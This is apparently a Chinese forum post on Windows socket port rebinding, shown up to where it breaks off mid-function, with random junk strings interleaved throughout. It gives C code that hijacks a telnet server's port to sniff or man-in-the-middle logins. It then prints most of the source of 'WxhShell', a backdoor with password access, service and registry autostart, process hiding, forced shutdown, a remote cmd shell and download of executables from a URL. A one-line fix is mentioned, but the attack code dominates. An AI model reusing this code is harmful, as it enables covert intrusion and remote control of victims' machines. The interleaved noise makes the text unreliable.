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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;$`5L"I5$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ySfot`LQ &m=GkK saddr.sin_family = AF_INET; dA)JR"r2 }OQaQf9V{ saddr.sin_addr.s_addr = htonl(INADDR_ANY); U9?fUS % oPt],> bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tl:V8sYTP d|P,e;m- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _*tU.x|DP K-_XdJ\ 这意味着什么?意味着可以进行如下的攻击: 6Kl%|VrJs \a_75^2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !ucHLo3: `"7}'| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7P+qPcRaP Dd: TFZo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h/)kd3$*' xz$-_NWW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C:*=tD1 Y/%(4q*' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GnX+.uQL| jTR>H bh 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }9Th` (D.B'V#> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "aU)
[ =:w]EpH" #include a Uy!(Y #include m;_gNh8 Ee #include \
oY/hT _ #include ~wtK(U DWORD WINAPI ClientThread(LPVOID lpParam); wjq;9%eXk int main() Fjs:rZ#{ { KF4D)NM| WORD wVersionRequested; Z<yLu'48)A DWORD ret; vz$_Fgsc. WSADATA wsaData; {^5LolCCH BOOL val; p#\JKx SOCKADDR_IN saddr; #Nv^F SOCKADDR_IN scaddr; _#dBcEH[ int err; s%&/Zt SOCKET s; VW$a(G_h SOCKET sc; Gu#Vc.e int caddsize; 9wTN*y HANDLE mt; jkQ%b.a DWORD tid; |;(95 wVersionRequested = MAKEWORD( 2, 2 ); P&>!B,f err = WSAStartup( wVersionRequested, &wsaData ); 6>yfm4o if ( err != 0 ) { ~nVO%IxM4J printf("error!WSAStartup failed!\n"); `{Jo>L. return -1; a-cLy*W,~ } 3P.v#TEst saddr.sin_family = AF_INET; bwC~ 'bd|Oww1u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s|`Z V^R yd}1Mx saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =O1py_m saddr.sin_port = htons(23); W0I)< S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PM?F;mj { bQvhBa? printf("error!socket failed!\n"); D<QE?:# return -1; <dD)>Y. } 9hTzi+'S val = TRUE; f?qp* //SO_REUSEADDR选项就是可以实现端口重绑定的 /<R[X>]<F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j; MQ_?"iN { 8|"26UwD/ printf("error!setsockopt failed!\n"); tl=H9w&@ return -1; 8ofKj:W] } rjo1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NT0im% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nOCCOTf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^H(,^cVN ^vY[d]R _\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "c5bz { 61 @;3yV ret=GetLastError(); /$U<S" printf("error!bind failed!\n"); W=S<DtG2 return -1; @2`$ XWD } !U"?vS l listen(s,2); +T/T \[ while(1) xU!eT'Y { 0! W$Cz[ caddsize = sizeof(scaddr); mm:g9j //接受连接请求 ;ztt*py sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W^k|*Y| if(sc!=INVALID_SOCKET) *}P=7TuS { 3F gTM( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CX}==0od if(mt==NULL) fP KFU { bzWWW^kNL printf("Thread Creat Failed!\n"); k9_c<TSzu break; Ncr*F^J4 } k0v&U@+-J } fe4Ki CloseHandle(mt); h]jy):9L } a;h.I}*] closesocket(s); ZnAXb S WSACleanup(); $X_A74( return 0; KCl85Wi' } KNG7$icG DWORD WINAPI ClientThread(LPVOID lpParam) NVX @1} { IZs NMY SOCKET ss = (SOCKET)lpParam; XCd[<\l SOCKET sc;
TY`t3 unsigned char buf[4096]; E;bv;RUio SOCKADDR_IN saddr; *A([1l&]i long num; NZL$#bRB DWORD val; mHF?t.y DWORD ret; "qdEu KI //如果是隐藏端口应用的话,可以在此处加一些判断 %F}i2!\<L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 l<)k`lrMX4 saddr.sin_family = AF_INET; !zQbF&> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hd1aNaF- saddr.sin_port = htons(23); P^57a?[` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' 4.T1i, { f
0r?cZ printf("error!socket failed!\n"); H7{I[>: return -1; K"/3/`T } )>(ZX9diV val = 100; =k]2Ad if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^oMdx2Ow# { T9\G,;VQ7/ ret = GetLastError(); %PlA9@:IZ return -1; [T(`+
#f } phi9/tO\u if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z'9U.v'M) { E*"oA1/I ret = GetLastError(); >/+R~ n return -1; 6hiWgbE } 6FkBb!ASk if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #SX-Y)> 1@ { O?$]/d printf("error!socket connect failed!\n"); ?Q~o<%U7 closesocket(sc); LaX<2]Tx: closesocket(ss); m0p%R>:5 return -1; Fv-~v& } mu{\_JX.A while(1) /liZ|K3A { M.9w_bW]#D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cBtQ2,<6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 dUH+7.\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Yy'CBIq#f num = recv(ss,buf,4096,0); l.xKv$uOGR if(num>0) |@BX*r send(sc,buf,num,0); [=TD)o>W(p else if(num==0) vMzBp#MT break; i :|e#$x num = recv(sc,buf,4096,0); UuCRQN H if(num>0) 2QgD< send(ss,buf,num,0); ^Rb*mI else if(num==0) >0JCu^9 break; /RI"a^&9A } "i,ZG$S#E closesocket(ss); ZkryoIQ%= closesocket(sc); n.=Zw2FE return 0 ; ]oLyvG } a"D'QqtH 2j&0U!DX 6xLQ ========================================================== wpg7xx! PJPKn0,W 下边附上一个代码,,WXhSHELL }`y%*-- <DN7 ========================================================== gKP=@v%- 8GeJ%^0o} #include "stdafx.h" gu"@*,hL yRR[M@Y #include <stdio.h> Z~]G+( #include <string.h> 'fYF1gR4 #include <windows.h> p"0Dl9 #include <winsock2.h> _%u t# #include <winsvc.h> Pq,iR J #include <urlmon.h> ue*o>iohB
H 3so&_ #pragma comment (lib, "Ws2_32.lib") $;rvKco)% #pragma comment (lib, "urlmon.lib") W[:CCCDL c{j)beaS #define MAX_USER 100 // 最大客户端连接数 uann'ho?q #define BUF_SOCK 200 // sock buffer *!9=? #define KEY_BUFF 255 // 输入 buffer L=dQ,yA ^<3{0g-"AW #define REBOOT 0 // 重启 2B"tT"f #define SHUTDOWN 1 // 关机 bwI"V&* +ryB*nT #define DEF_PORT 5000 // 监听端口 ^% L;FGaA hi/Z>1ZOX #define REG_LEN 16 // 注册表键长度 Z^Yy
sf #define SVC_LEN 80 // NT服务名长度 Xp9 ]
9H. +g;{c+Kw: // 从dll定义API LkWY6
?$U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z.^_;Vql_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fj46~#ZZ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1\J9QZX0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |rI;OvZ\ P#}vi$dZ // wxhshell配置信息 <}G/x*N struct WSCFG { rv c%[HfW; int ws_port; // 监听端口 Za]~[F char ws_passstr[REG_LEN]; // 口令 vX_;Y#uD int ws_autoins; // 安装标记, 1=yes 0=no /VD[: sU7 char ws_regname[REG_LEN]; // 注册表键名 UrO&K]Z char ws_svcname[REG_LEN]; // 服务名 (+SL1O P char ws_svcdisp[SVC_LEN]; // 服务显示名 :j? MEeu char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Gcjm~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *z};&UsF{ int ws_downexe; // 下载执行标记, 1=yes 0=no ]cM8TT char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" k t
|j]: char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5Z:T9F4 N' CWSf.e }; o]WcODJdl y>cLG5v // default Wxhshell configuration h.wffk, struct WSCFG wscfg={DEF_PORT, 'e_e*.z3 "xuhuanlingzhe", g_JQW(_ 1, gvr&7=p "Wxhshell", *'*n}fM "Wxhshell", ~14|y|\/ "WxhShell Service", <"8F=3:uk "Wrsky Windows CmdShell Service", B|.A6:1g+ "Please Input Your Password: ", 1je/l9L 1, cl`7|;v|? " http://www.wrsky.com/wxhshell.exe", i-?mghe8 "Wxhshell.exe" {<1uV']x }; 4 !m'9 ?*.:*A // 消息定义模块 $y{.fj y3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {9*
l char *msg_ws_prompt="\n\r? for help\n\r#>"; T-h[$fxR_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +F.@n_}p-I char *msg_ws_ext="\n\rExit."; S LNq%7apx char *msg_ws_end="\n\rQuit."; YP[8d, char *msg_ws_boot="\n\rReboot..."; ^\[c][fo char *msg_ws_poff="\n\rShutdown..."; N,UUM|?9_ char *msg_ws_down="\n\rSave to "; m6'9Id-:L b7'l3m Qjk char *msg_ws_err="\n\rErr!"; \Rs9B . char *msg_ws_ok="\n\rOK!"; SYh>FF" @urZ char ExeFile[MAX_PATH]; ]$#9B-uB int nUser = 0; SAdo9m' HANDLE handles[MAX_USER]; ^"~r/@l int OsIsNt; t|s(V-Wq oF a,IA SERVICE_STATUS serviceStatus; 1M b[S{ SERVICE_STATUS_HANDLE hServiceStatusHandle; i'.D=o XMz*}B6GQ // 函数声明 {Us^4Xe int Install(void); B@S~v+Gr int Uninstall(void); >I-rsw2 int DownloadFile(char *sURL, SOCKET wsh); &3J^z7kU int Boot(int flag); K4]#X" void HideProc(void); m WHyk "l int GetOsVer(void); !p76I=H% int Wxhshell(SOCKET wsl); `+0dz, void TalkWithClient(void *cs); e
tL?UF$ int CmdShell(SOCKET sock); | UB)q5I int StartFromService(void); zeq")A int StartWxhshell(LPSTR lpCmdLine); @n=&muC} oW(EV4J" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `$XB_o%@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); yo(MJ^=d X|&H2y|*7 // 数据结构和表定义 $xK\$kw\ SERVICE_TABLE_ENTRY DispatchTable[] = "ZPgl 8 { \RtFF {wscfg.ws_svcname, NTServiceMain}, V(:wYk?ZR {NULL, NULL} >?_}NZ,y }; y^[t3XA6Q a5aHv/W#P // 自我安装 3t9CN
)* int Install(void) A6J:!sY4A { -ssmj8:Q\| char svExeFile[MAX_PATH]; >&ZlCE HKEY key; RNQq"c\ strcpy(svExeFile,ExeFile); :I2, F=a // 如果是win9x系统,修改注册表设为自启动 A,xPA if(!OsIsNt) { 5%4yUd#b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ng~LCffpY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z"qJil} RegCloseKey(key); ^)GaVL^"5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { on"ENT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aOd|;Z RegCloseKey(key); KJv%t_4'F return 0; *]}F=dtR k } @2mWNYHR*> } rA^=;?7Q }
?6>*mdpl else { +>%51#2.Q 8'_MCx( // 如果是NT以上系统,安装为系统服务 +v'2s@e`
# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =v'Aub if (schSCManager!=0) 4[&&E7]EX { N8k=c3| SC_HANDLE schService = CreateService 5UOqS#"0 ( 2b,edJVt? schSCManager, Lb?q5_ wscfg.ws_svcname, )q.ZzijG/ wscfg.ws_svcdisp, =HJ7tele SERVICE_ALL_ACCESS, x %9Ca)r?} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OCJt5#e~A SERVICE_AUTO_START, ~ ^D2]j SERVICE_ERROR_NORMAL, 6k![v@2R svExeFile, xB[W8gQ6fa NULL, GmE`YW NULL, XA(.O|VZ NULL, (:o:_U NULL, PIXqd, NULL "FhC"}N ); k}I65 ^l# if (schService!=0) H+-x.l` { GN
Ewq$ CloseServiceHandle(schService); F6{/iF CloseServiceHandle(schSCManager); isdNW l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =
Ezg3$%- strcat(svExeFile,wscfg.ws_svcname); xK)<763q> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U$y wO4. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T8)X?>CIW RegCloseKey(key); 3$Vx8:Rhdn return 0; -QR]BD%J*[ } Qx3eEt@X5] } !`4ie CloseServiceHandle(schSCManager); /OB) \{- } Iz83T9I& } Q`6hJgyL ~l?c.CSd return 1; N$v_z>6Z } ,fTC}>s4 >mp Nn // 自我卸载 mPqKk int Uninstall(void) :-<30LS$ { N`$F>E,T% HKEY key; C[hNngb7R 0%%y9;o if(!OsIsNt) { JiO8EIM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -q[x"Ha% RegDeleteValue(key,wscfg.ws_regname); mxBx?xM- RegCloseKey(key); WNb2"W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \x:U`T RegDeleteValue(key,wscfg.ws_regname); o8H\l\( RegCloseKey(key); 98| v.d return 0; 9Iq<*\V 4 } +'iqGg- } $aB`A$'hK } \kf
n,m else { FV7'3fIa ?Q+*[YEJ5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KKb7dZbt< if (schSCManager!=0)
zY@0R`{@p { NS""][# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .Ln98#ZR if (schService!=0) 3Nwix_&S { yB/F6/B~ if(DeleteService(schService)!=0) { s-(c-E09 CloseServiceHandle(schService); _Ve)M% CloseServiceHandle(schSCManager); W8u&5#$I return 0; w1(5,~OB } `8#xO{B1 CloseServiceHandle(schService); o0F,!} } [`s.fkb8 CloseServiceHandle(schSCManager); 1*$6u5.=F } __s'/6u } |,S]EHIy nUVk;0at return 1; N!ay#V } ,UC|[-J m\CU,9;;( // 从指定url下载文件 6R8>w, int DownloadFile(char *sURL, SOCKET wsh) :;hX$Qz { !>ZBb\EyK HRESULT hr; fx4#R(N char seps[]= "/"; g:xg ~H2 char *token; $%!06w#u char *file; {Y=k`t, char myURL[MAX_PATH]; AZ^>osr char myFILE[MAX_PATH]; Anpp`>}N #O,w{S strcpy(myURL,sURL); fF>hca> token=strtok(myURL,seps); i92Z`jiR while(token!=NULL) ]N0B.e~D { 8''1H<f file=token; E BoC,{R# token=strtok(NULL,seps); mA%}ijR6y } ,'t&L] d8R|0RZ GetCurrentDirectory(MAX_PATH,myFILE); (fr=[m$` strcat(myFILE, "\\"); -^t.eZ*| strcat(myFILE, file); J}4RJ9 send(wsh,myFILE,strlen(myFILE),0); e]ST0J" send(wsh,"...",3,0); 5 8L@:>" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _*[vKS A& if(hr==S_OK) !>!jLZ0 return 0; #lSGH 5Fp? else b "}ya/ return 1; @MFEBc} $sb@*K}:4 } >Wx9a"H^(
._;It198f // 系统电源模块 4T"L#o1 int Boot(int flag) 38l:Y" { nygeR|:\ HANDLE hToken; /#"9!8%V TOKEN_PRIVILEGES tkp; pNuU{:9 B0 fpjFO&ML if(OsIsNt) { n!~QC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.#a7?LUH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QkTU@T6>o tkp.PrivilegeCount = 1; +!`$( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LV0gw" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <&B]p if(flag==REBOOT) { rW~G' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $ntC{a>& return 0; qX6zk0I a } ?vF8 y;Jh else { i!JSEQ_8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &Q\k`0vzVB return 0; $(OL#>9Ly } $gk=~p| } [{T/2IGq else { &?y|Pn if(flag==REBOOT) { Q'ib7R;V, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ygQAA!&'] return 0; **6X9ZIX[ } sv "GX<+ else { h4ghMBo% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TC:t!: return 0; Kl(u~/=6 } 4`r-*Lx } lfwBUb \tS|
N40 return 1; H66~!J0;a } jt9@aN.mJN [f$pq5f=' // win9x进程隐藏模块 Lr"`OzDz void HideProc(void) REk^pZ3B { ^*~4[?]S q'biTn]2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [t5D d if ( hKernel != NULL ) @Hp=xC9V { 2Myz[)<P_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oOQ0f |MGp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X%B2xQM5 FreeLibrary(hKernel); ^c sOXP=Yp } eN<?rVZl _9iF`Q return; cavzXz } sNC~S%[ *NIhYg6 // 获取操作系统版本 OnE~0+ int GetOsVer(void) lJ4/bL2I/ { |q_Hiap#a OSVERSIONINFO winfo; +j6^g* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;,u7) GetVersionEx(&winfo); }iB>3|\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B :1r;8{j return 1;
t;[?Q\ else ob(~4H- return 0; 3HX-lg`0 } yfe4}0} 6uWPIM; // 客户端句柄模块 o7:"Sl2AD int Wxhshell(SOCKET wsl) ^c>ROpic { AiV1
vD` SOCKET wsh; X,+N/nku struct sockaddr_in client; Otm7j>w DWORD myID; "I[uD)$ {=E,.%8 while(nUser<MAX_USER) !f8]gT zN { 4({Wipd int nSize=sizeof(client); TJ(vq] |& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hb9r.;r<EW if(wsh==INVALID_SOCKET) return 1; 'jU ;.vZex t-J\j"~%+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]B-3Lh if(handles[nUser]==0) Oj.xJ(uX+v closesocket(wsh); 3#c0p790 else t3aDDu nUser++; 'C1yqkIa` } xO'xZ%cUI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j|(bdTZY: `[.4SIah return 0; G%fNGQwT } Kdb:Q0B ^g N?Io // 关闭 socket _~E_#cNn void CloseIt(SOCKET wsh) ltG|#( { k|_LF[* Z closesocket(wsh); zB)wYKwZ nUser--; (
ESmP ExitThread(0); ::G0v } 7
[?]DyOf >`.$Tyw // 客户端请求句柄 gS^Y? void TalkWithClient(void *cs) \>|:URnD { Ezw< fhQ}Z%$ SOCKET wsh=(SOCKET)cs; ?N!.:~~k char pwd[SVC_LEN]; ;!/g`*? char cmd[KEY_BUFF]; @RVj~J.A char chr[1]; UNKXfe(X9 int i,j; CK RnkTTiV F%e5j9X` while (nUser < MAX_USER) { P}bw Ej tp=/f
!bv if(wscfg.ws_passstr) { WEB enGQ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u69s}yZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H}&4#CQ'! //ZeroMemory(pwd,KEY_BUFF); TY*q[AWG i=0; &+F}$8, while(i<SVC_LEN) { \"hP*DJ" r#'E;Yx // 设置超时 eWAgYe2 fd_set FdRead; BZWGXzOFh struct timeval TimeOut; :jioF{, FD_ZERO(&FdRead); ^Dw18gqr=@ FD_SET(wsh,&FdRead); 1c03<(FCd TimeOut.tv_sec=8; O2>W#7 TimeOut.tv_usec=0; Lk]/{t0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u}IQ)Ma if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5QJFNE t_ZWd#x+; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RkXW(T` pwd =chr[0]; [^E{Yz=8, if(chr[0]==0xd || chr[0]==0xa) { `?xE-S
;Pn pwd=0; 5Gsjt+
o break; [+Y;w`;Fq } SB2Ij', i++; e`D? x1- } /2e,,)4g dW>$C_`? // 如果是非法用户,关闭 socket *%`jcF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hs6}~d } B#;0{ (J/!9NS: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rpO>l send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Stxrgmu H?<ceK'e while(1) { B(|dT66K j*}2AI ZeroMemory(cmd,KEY_BUFF); "jG-)k`a ,}_uk]AQ // 自动支持客户端 telnet标准 \Z ms j=0; '2.11cM3 while(j<KEY_BUFF) { dX:#KdK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :*{\oqFn~$ cmd[j]=chr[0]; _Zs]za.#)| if(chr[0]==0xa || chr[0]==0xd) { gdfG3d$4 cmd[j]=0; rCdf*; break; bv8GJ # } T hLR<\ j++; n^Sc*7 } f'3sT(1& Kw^tvRt'* // 下载文件 [?Ub =sp if(strstr(cmd,"http://")) { j>t*k!db send(wsh,msg_ws_down,strlen(msg_ws_down),0); -S %)2(f^ if(DownloadFile(cmd,wsh)) *<nfA} send(wsh,msg_ws_err,strlen(msg_ws_err),0); |;6l1]hk6 else K~JXP5`( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MW6KEiQ" } @:"GgkyDl# else { koAM",5D jIs2R3B switch(cmd[0]) { y?s8UEC mjz<,s`D // 帮助 '+{dr\nJ case '?': { l]o)KM< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6C|]Fm break; SQd`xbIuL } iNAaTU // 安装 HfgK0wIi case 'i': { =q-HR+ if(Install()) Rr>h8Ni < send(wsh,msg_ws_err,strlen(msg_ws_err),0); hPHrq{YZ else @|GKNW# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d~b#dcv$" break; vAMr&[ } I!1nB\l // 卸载 Y2,\WKa case 'r': { j,/t<@S> if(Uninstall()) hMiuv_EO! send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_JW3l else U\Hd?&`9gz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z*rA~`@K6 break; Ut
xe } K2GcU_*t // 显示 wxhshell 所在路径 H^no&$2`1 case 'p': { 0fTEb%z8 char svExeFile[MAX_PATH]; !bi}9w strcpy(svExeFile,"\n\r"); 9k@`{+wmZ strcat(svExeFile,ExeFile); on q~wEr send(wsh,svExeFile,strlen(svExeFile),0); cOr@dUSL break; SAEV " } `b{.K, // 重启 $q6'VLPo case 'b': { s *B-| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kc:}
K y if(Boot(REBOOT)) dn1Tu6f;| send(wsh,msg_ws_err,strlen(msg_ws_err),0); pH1 9"=p< else { 20t</lq. closesocket(wsh); /:}z*a ExitThread(0); ohA@Zm8O } t!Uc,mEV] break; q|A-h' } -^JGa{9* // 关机 rpNe8"sh case 'd': { *G{Zo*2<
i send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G
Riu] if(Boot(SHUTDOWN)) Uieg4I ro send(wsh,msg_ws_err,strlen(msg_ws_err),0); UT9=S21 else { HGgw<Os-k closesocket(wsh); 92k}ON ExitThread(0); -~HlME*~f } [[[QBplJ break; {:3XP<hqN } (Rc0 l; // 获取shell U "qO&;m case 's': { ]PnE% CmdShell(wsh); ~"*;lT5KX closesocket(wsh); B43o_H|s ExitThread(0); r]=3aebR. break; p ?HODwZ } ,K'}<dm|x // 退出 e<p_u)m case 'x': { |7CH send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8bX\^&N CloseIt(wsh); \?} {wh8 break; A*h)p@3t< } [^gSWU // 离开 bz~-uHC case 'q': { _l?5GLl_F$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^/Hj^4~_U closesocket(wsh); wBcDL/(> WSACleanup(); y^ C;?B< exit(1); ~~ON!l9n break; Hc@Z7eQ3^ } r[$Qtj Q } c3lfmTT6^ } |yI?}zyR ^yRCR] oT // 提示信息 ;e0>.7m if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{/zP{jH } K@{jY\AZNx } !UUh7'W4u T
T0O % return; IEzZ$9,A5 } v]*W*; uF T\a= // shell模块句柄 $ZDh8
*ND int CmdShell(SOCKET sock)
e?G*q)l { 1ezQzc2-R STARTUPINFO si; T^GdN_qF ZeroMemory(&si,sizeof(si)); 4(JxZ49 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GX_Lxc_<f si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {\t:{.F
A PROCESS_INFORMATION ProcessInfo; q9Y0Lk char cmdline[]="cmd"; UhCd, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (6\A"jey\x return 0; ,ASY
&J5)7 } =]E1T8| cQPH le2 // 自身启动模式 T6H"ER$ int StartFromService(void) iA ZtV'VQ) { &TbnZnv typedef struct !wrl.A/P { Dz)bP{iq" DWORD ExitStatus; bi^LpyEn DWORD PebBaseAddress; i6m;2 UAa DWORD AffinityMask; U(./LrM05 DWORD BasePriority; xDr
